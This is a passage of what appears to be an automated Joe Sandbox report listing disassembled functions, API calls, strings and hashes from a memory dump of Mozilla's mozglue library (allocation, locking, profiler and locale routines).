EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C9621E0
LeaveCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962232

Strings

MOZ_CRASH(), xrefs: 6C96227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C962253, 6C962268

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction ID: 3955bf924c4e04d34babe6acadf24d2fcac83a72945dca7d4093b150ef59391f
Opcode Fuzzy Hash: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction Fuzzy Hash: F361E432F046068FEB04CB6AC88976E77B5AFA9318F294139E524A7ED4D731D900C781

Function 6C9648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9A483A,?), ref: 6C964ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9A483A,?), ref: 6C964AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9A483A,?), ref: 6C964A82

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9A483A,?), ref: 6C964A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9A483A,?), ref: 6C964A35

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9A483A,?), ref: 6C964A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9A483A,?), ref: 6C964AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9A483A,?), ref: 6C964B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9A483A,?), ref: 6C964B2C

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a84d0be199cbb28496848d864678cdc3f749461a9bf79d0afd453fb8ba94fde4
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 557179B19007069FDB14CFA9C490AAAB7F5FF19308B104A3ED15A9BF80E731E555CB90

Function 6C9B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B8273), ref: 6C9B9D65
free.MOZGLUE(6C9B8273,?), ref: 6C9B9D7C
free.MOZGLUE(?,?), ref: 6C9B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B9E0F
free.MOZGLUE(6C9B946B,?,?), ref: 6C9B9E24
free.MOZGLUE(?,?,?), ref: 6C9B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9B9EC8
free.MOZGLUE(6C9B946B,?,?,?), ref: 6C9B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9B9EF5

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction ID: a65b76491e3ee5d797cae369799144fe2d540189cbfdcbbddadd602a45faaab8
Opcode Fuzzy Hash: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction Fuzzy Hash: 3A71927050AB41EBD712CF19C48055BF3F4FFA9315B459A1DE85A5B702EB30E885CB91

Function 6C9BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9BDDCF

Part of subcall function 6C99FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99FA4B

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE0D
free.MOZGLUE(00000000), ref: 6C9BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF32

Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDB86
Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF65
free.MOZGLUE(?), ref: 6C9BDF80

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction ID: ff01e36fd3d74c6b357ada35515ffefb1a2003522055e66ffed02d838a2a36aa
Opcode Fuzzy Hash: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction Fuzzy Hash: F451B477605701BBD7119B28C8806AFB3B6BFA5308F96051CE85A73B05D731F919CB92

Function 6C9C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DC9
std::_Facet_Register.LIBCPMT ref: 6C9C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E45

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction ID: 9dc92c9492394ef38cf025c1f1030d25d8cd90939c4c6e0a50f464e2c4dc9486
Opcode Fuzzy Hash: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction Fuzzy Hash: 6E418E707043059FCB00DF65C898AAE77B9EF9D318F144069E50A9B791EB34EC45CB62

Function 6C99CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9631A7), ref: 6C99CDDD

Strings

<jemalloc>, xrefs: 6C99CF9F, 6C99CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C99CFA4, 6C99CFB8

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction ID: 48f6e9e746a1befbc69f35562f26cd496e6fc4d4c9df4b54e52e0d2e404b06d2
Opcode Fuzzy Hash: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction Fuzzy Hash: 8031E630B443065BFF10AFA58C45B6E7B79BF59B18F384018F616ABAC0DB70D8108BA4

Function 6C96ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C96ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C96EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C96EDCC
CreateFileW.KERNEL32 ref: 6C96EE08
free.MOZGLUE(00000000), ref: 6C96EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C96EE32

Part of subcall function 6C96EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C96EBB5
Part of subcall function 6C96EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C99D7F3), ref: 6C96EBC3
Part of subcall function 6C96EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C99D7F3), ref: 6C96EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C96EDC1

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction ID: bb5dfa459c57f699a1056206158772aec3aa26d443816d100eac1a4f912f9777
Opcode Fuzzy Hash: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction Fuzzy Hash: 2951D071D05204DBEB01DF69CC407EEB7B4AF69318F54842DE8556BB80E730E948CBA2

Function 6C9DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA565

Part of subcall function 6C9DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9DA4BE
Part of subcall function 6C9DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9DA6B6

Strings

z, xrefs: 6C9DA6AE
0, xrefs: 6C9DA5FB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction ID: cc54a6fa76f7a7508ee3af50abf586e8a4ee86f999230ba11beb60bcacc5ea75
Opcode Fuzzy Hash: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction Fuzzy Hash: D5413771909B45DFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30E559CB82

Function 6C9678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9E008B), ref: 6C967B89
free.MOZGLUE(?,6C9E008B), ref: 6C967BAC

Part of subcall function 6C9678C0: free.MOZGLUE(?,6C9E008B), ref: 6C967BCF

free.MOZGLUE(?,6C9E008B), ref: 6C967BF2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction ID: 022ddb5a4f8435c6e9fd4f8fc5389646b8f004cc6be7a92c1ee60df715c6c9d2
Opcode Fuzzy Hash: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction Fuzzy Hash: 43C1A171E011298BFB248B29CCA0BADB772AF51318F1507A9D41AABFC1C731DE858F51

Function 6C9A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
__Init_thread_footer.LIBCMT ref: 6C9A949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9A9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9A947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9A946B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction ID: 5339ff1b63fb6d48df6833fe8939d8d2a163d2888a2dfa06ef6f11877cd6da4c
Opcode Fuzzy Hash: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction Fuzzy Hash: C3012870A04100CBEF40DB9DE808A4533B8EF6E72DF150537D90A86F42EA22D5558957

Function 6C9B0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B0F88
GetCurrentThreadId.KERNEL32 ref: 6C9B0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9B1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9B10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9B114B

Part of subcall function 6C9A8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9C1563), ref: 6C9A8BD5

free.MOZGLUE(?), ref: 6C9B1174
free.MOZGLUE(?), ref: 6C9B1186

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction ID: 5cc031c2bfc3178bbca1dfc65de5f7bb7ab067326ea35db39abc47d02ba77459
Opcode Fuzzy Hash: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction Fuzzy Hash: C961B075A08740ABDB10CF24C98079BB7F9BFEA308F14891DE89967711EB31E559CB81

Function 6C96B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6AC

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C96B61E), ref: 6C96B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B79A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction ID: f5252f8c939df9c436621fd88dc9660449442bc99005785a882ea740c3a9cbb9
Opcode Fuzzy Hash: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction Fuzzy Hash: BF41B2B2D001159FDB14DF69DC806AEF7B9BB64324F250629F825E7B80E731E9148BE1

Function 6C96EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9E5104), ref: 6C96EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96EFEC
free.MOZGLUE(?), ref: 6C96F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C96F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96F065
moz_xmalloc.MOZGLUE ref: 6C96F072

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction ID: 557e869bce74702624e59ac9da750bc58e7692a23e164174818f0416366be11d
Opcode Fuzzy Hash: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction Fuzzy Hash: 3A41E7B1A002059FDB08CF68DC819BF7769BF98318B244628E815DBBD4EB31E915C7E1

Function 6C9DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9DB5B9
